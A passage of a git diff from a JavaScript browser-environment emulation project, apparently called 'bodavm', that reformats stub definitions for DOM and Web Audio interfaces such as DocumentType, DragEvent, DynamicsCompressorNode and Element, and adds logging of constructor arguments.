bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('DocumentType', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "publicId", { + configurable: true, + enumerable: true, + get: function publicId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "publicId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "systemId", { + configurable: true, + enumerable: true, + get: function systemId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "systemId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "after", { + configurable: true, + enumerable: true, + writable: true, + value: function after() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "after", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "before", { + configurable: true, + enumerable: true, + writable: true, + value: function before() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "before", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "replaceWith", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceWith() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "replaceWith", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DragEvent.js b/env_xbb_lastest_jsdom/env/DragEvent.js index acee8a1c..5450cf4d 100644 --- a/env_xbb_lastest_jsdom/env/DragEvent.js +++ b/env_xbb_lastest_jsdom/env/DragEvent.js @@ -1,6 +1,27 @@ -// DragEvent对象 -bodavm.memory.globalobj['DragEvent'] = function DragEvent(){if (!(this instanceof DragEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DragEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DragEvent'], "DragEvent"); -bodavm.memory.globalobj['DragEvent'].prototype.__proto__=bodavm.memory.globalobj['MouseEvent'].prototype; -bodavm.memory.globalobj['DragEvent'].__proto__=bodavm.memory.globalobj['MouseEvent']; -bodavm.toolsFunc.defineProperty('DragEvent', "dataTransfer", {configurable:true, enumerable:true, get:function dataTransfer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DragEvent'].prototype, "DragEvent", "dataTransfer_get", arguments)}, set:undefined},'prototype'); +// DragEvent对象 + +bodavm.memory.globalobj['DragEvent'] = function DragEvent() { + console.log_copy('DragEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DragEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DragEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DragEvent'], "DragEvent"); +bodavm.memory.globalobj['DragEvent'].prototype.__proto__ = bodavm.memory.globalobj['MouseEvent'].prototype; +bodavm.memory.globalobj['DragEvent'].__proto__ = bodavm.memory.globalobj['MouseEvent']; +bodavm.toolsFunc.defineProperty('DragEvent', "dataTransfer", { + configurable: true, + enumerable: true, + get: function dataTransfer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DragEvent'].prototype, "DragEvent", "dataTransfer_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DynamicsCompressorNode.js b/env_xbb_lastest_jsdom/env/DynamicsCompressorNode.js index 5f1b5d19..61c4db52 100644 --- a/env_xbb_lastest_jsdom/env/DynamicsCompressorNode.js +++ b/env_xbb_lastest_jsdom/env/DynamicsCompressorNode.js @@ -1,11 +1,67 @@ -// DynamicsCompressorNode对象 -bodavm.memory.globalobj['DynamicsCompressorNode'] = function DynamicsCompressorNode(){if (!(this instanceof DynamicsCompressorNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DynamicsCompressorNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DynamicsCompressorNode'], "DynamicsCompressorNode"); -bodavm.memory.globalobj['DynamicsCompressorNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['DynamicsCompressorNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "threshold", {configurable:true, enumerable:true, get:function threshold (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "threshold_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "knee", {configurable:true, enumerable:true, get:function knee (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "knee_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "ratio", {configurable:true, enumerable:true, get:function ratio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "ratio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "reduction", {configurable:true, enumerable:true, get:function reduction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "reduction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "attack", {configurable:true, enumerable:true, get:function attack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "attack_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "release", {configurable:true, enumerable:true, get:function release (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "release_get", arguments)}, set:undefined},'prototype'); +// DynamicsCompressorNode对象 + +bodavm.memory.globalobj['DynamicsCompressorNode'] = function DynamicsCompressorNode() { + console.log_copy('DynamicsCompressorNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DynamicsCompressorNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DynamicsCompressorNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DynamicsCompressorNode'], "DynamicsCompressorNode"); +bodavm.memory.globalobj['DynamicsCompressorNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['DynamicsCompressorNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "threshold", { + configurable: true, + enumerable: true, + get: function threshold() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "threshold_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "knee", { + configurable: true, + enumerable: true, + get: function knee() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "knee_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "ratio", { + configurable: true, + enumerable: true, + get: function ratio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "ratio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "reduction", { + configurable: true, + enumerable: true, + get: function reduction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "reduction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "attack", { + configurable: true, + enumerable: true, + get: function attack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "attack_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DynamicsCompressorNode', "release", { + configurable: true, + enumerable: true, + get: function release() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DynamicsCompressorNode'].prototype, "DynamicsCompressorNode", "release_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Element.js b/env_xbb_lastest_jsdom/env/Element.js index 053d5c71..14f6a5cf 100644 --- a/env_xbb_lastest_jsdom/env/Element.js +++ b/env_xbb_lastest_jsdom/env/Element.js @@ -1,139 +1,1211 @@ -// Element对象 -bodavm.memory.globalobj['Element'] = function Element(){if (!(this instanceof Element)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Element'], "Element"); -bodavm.memory.globalobj['Element'].prototype.__proto__=bodavm.memory.globalobj['Node'].prototype; -bodavm.memory.globalobj['Element'].__proto__=bodavm.memory.globalobj['Node']; -bodavm.toolsFunc.defineProperty('Element', "namespaceURI", {configurable:true, enumerable:true, get:function namespaceURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "namespaceURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "prefix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "localName", {configurable:true, enumerable:true, get:function localName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "localName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "tagName", {configurable:true, enumerable:true, get:function tagName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "tagName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_get", arguments)}, set:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "id_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "className", {configurable:true, enumerable:true, get:function className (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_get", arguments)}, set:function className (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "className_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "classList", {configurable:true, enumerable:true, get:function classList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_get", arguments)}, set:function classList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "classList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "slot", {configurable:true, enumerable:true, get:function slot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_get", arguments)}, set:function slot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "slot_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "attributes", {configurable:true, enumerable:true, get:function attributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "attributes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "shadowRoot", {configurable:true, enumerable:true, get:function shadowRoot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "shadowRoot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "part", {configurable:true, enumerable:true, get:function part (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_get", arguments)}, set:function part (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "part_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "assignedSlot", {configurable:true, enumerable:true, get:function assignedSlot (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "assignedSlot_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "innerHTML", {configurable:true, enumerable:true, get:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_get", arguments)}, set:function innerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "innerHTML_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "outerHTML", {configurable:true, enumerable:true, get:function outerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_get", arguments)}, set:function outerHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "outerHTML_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollTop", {configurable:true, enumerable:true, get:function scrollTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_get", arguments)}, set:function scrollTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollTop_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollLeft", {configurable:true, enumerable:true, get:function scrollLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_get", arguments)}, set:function scrollLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollLeft_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollWidth", {configurable:true, enumerable:true, get:function scrollWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "scrollHeight", {configurable:true, enumerable:true, get:function scrollHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "scrollHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "clientTop", {configurable:true, enumerable:true, get:function clientTop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientTop_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "clientLeft", {configurable:true, enumerable:true, get:function clientLeft (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientLeft_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "clientWidth", {configurable:true, enumerable:true, get:function clientWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "clientHeight", {configurable:true, enumerable:true, get:function clientHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "clientHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onbeforecopy", {configurable:true, enumerable:true, get:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_get", arguments)}, set:function onbeforecopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecopy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onbeforecut", {configurable:true, enumerable:true, get:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_get", arguments)}, set:function onbeforecut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforecut_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onbeforepaste", {configurable:true, enumerable:true, get:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_get", arguments)}, set:function onbeforepaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onbeforepaste_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onsearch", {configurable:true, enumerable:true, get:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_get", arguments)}, set:function onsearch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onsearch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "elementTiming", {configurable:true, enumerable:true, get:function elementTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_get", arguments)}, set:function elementTiming (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "elementTiming_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onfullscreenchange", {configurable:true, enumerable:true, get:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_get", arguments)}, set:function onfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onfullscreenerror", {configurable:true, enumerable:true, get:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_get", arguments)}, set:function onfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onfullscreenerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenchange", {configurable:true, enumerable:true, get:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_get", arguments)}, set:function onwebkitfullscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "onwebkitfullscreenerror", {configurable:true, enumerable:true, get:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_get", arguments)}, set:function onwebkitfullscreenerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "onwebkitfullscreenerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "role", {configurable:true, enumerable:true, get:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "role_get", arguments)}, set:function role (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "role_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaAtomic", {configurable:true, enumerable:true, get:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_get", arguments)}, set:function ariaAtomic (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAtomic_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaAutoComplete", {configurable:true, enumerable:true, get:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_get", arguments)}, set:function ariaAutoComplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaAutoComplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaBusy", {configurable:true, enumerable:true, get:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_get", arguments)}, set:function ariaBusy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBusy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaBrailleLabel", {configurable:true, enumerable:true, get:function ariaBrailleLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleLabel_get", arguments)}, set:function ariaBrailleLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleLabel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaBrailleRoleDescription", {configurable:true, enumerable:true, get:function ariaBrailleRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleRoleDescription_get", arguments)}, set:function ariaBrailleRoleDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaBrailleRoleDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaChecked", {configurable:true, enumerable:true, get:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_get", arguments)}, set:function ariaChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaChecked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaColCount", {configurable:true, enumerable:true, get:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_get", arguments)}, set:function ariaColCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaColIndex", {configurable:true, enumerable:true, get:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_get", arguments)}, set:function ariaColIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaColSpan", {configurable:true, enumerable:true, get:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_get", arguments)}, set:function ariaColSpan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaColSpan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaCurrent", {configurable:true, enumerable:true, get:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_get", arguments)}, set:function ariaCurrent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaCurrent_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaDescription", {configurable:true, enumerable:true, get:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_get", arguments)}, set:function ariaDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDescription_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaDisabled", {configurable:true, enumerable:true, get:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_get", arguments)}, set:function ariaDisabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaDisabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaExpanded", {configurable:true, enumerable:true, get:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_get", arguments)}, set:function ariaExpanded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaExpanded_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaHasPopup", {configurable:true, enumerable:true, get:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_get", arguments)}, set:function ariaHasPopup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHasPopup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaHidden", {configurable:true, enumerable:true, get:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_get", arguments)}, set:function ariaHidden (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaHidden_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaInvalid", {configurable:true, enumerable:true, get:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_get", arguments)}, set:function ariaInvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaInvalid_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaKeyShortcuts", {configurable:true, enumerable:true, get:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_get", arguments)}, set:function ariaKeyShortcuts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaKeyShortcuts_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaLabel", {configurable:true, enumerable:true, get:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_get", arguments)}, set:function ariaLabel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLabel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaLevel", {configurable:true, enumerable:true, get:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_get", arguments)}, set:function ariaLevel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLevel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaLive", {configurable:true, enumerable:true, get:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_get", arguments)}, set:function ariaLive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaLive_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaModal", {configurable:true, enumerable:true, get:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_get", arguments)}, set:function ariaModal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaModal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaMultiLine", {configurable:true, enumerable:true, get:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_get", arguments)}, set:function ariaMultiLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiLine_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaMultiSelectable", {configurable:true, enumerable:true, get:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_get", arguments)}, set:function ariaMultiSelectable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Element'].prototype, "Element", "ariaMultiSelectable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Element', "ariaOrientation", {configurable:true, enumerable:true, get:function 